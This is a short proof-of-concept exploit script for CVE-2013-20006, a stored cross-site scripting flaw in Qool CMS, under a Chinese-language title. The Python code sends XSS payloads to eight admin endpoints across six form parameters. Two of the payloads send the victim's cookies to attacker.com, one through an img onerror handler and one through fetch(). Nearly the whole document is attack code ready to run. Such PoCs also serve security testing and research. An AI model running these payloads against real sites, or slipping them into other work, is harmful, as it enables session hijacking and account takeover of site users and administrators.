CVE-2013-20006 Qool CMS 持久性跨站脚本漏洞

# CVE-2013-20006 PoC - Qool CMS Stored XSS # Target: Qool CMS admin endpoints # Vulnerability: Stored XSS in POST parameters import requests import sys from urllib.parse import urlencode TARGET_URL = "http://target.com/qool-cms/admin/" # XSS payloads for different parameters PAYLOADS = { 'title': '<script>alert(document.cookie)</script>', 'name': '<img src=x onerror=this.src="https://attacker.com/?c="+document.cookie>', 'email': '" onfocus="alert(1)" autofocus="', 'username': '<script>fetch("https://attacker.com/steal?cookie="+document.cookie)</script>', 'link': 'javascript:alert(document.domain)', 'task': '<iframe src="javascript:alert(document.cookie)">' } ENDPOINTS = [ 'addnewtype', 'addnewdatafield', 'addmenu', 'addusergroup', 'addnewuserfield', 'adduser', 'addgeneraldata', 'addcontentitem' ] def exploit(endpoint, param, payload): """Send malicious POST request to inject XSS""" target = TARGET_URL + endpoint data = { param: payload, 'submit': 'Submit' } try: response = requests.post(target, data=data, timeout=10) print(f"[+] Sent payload to {endpoint} with param {param}") print(f"[+] Payload: {payload}") return True except requests.RequestException as e: print(f"[-] Request failed: {e}") return False if __name__ == "__main__": print("CVE-2013-20006 Qool CMS Stored XSS Exploit") print("=" * 50) # Test all endpoints for endpoint in ENDPOINTS: for param, payload in PAYLOADS.items(): exploit(endpoint, param, payload) print("\n[!] PoC completed. Check if XSS was stored and executed.")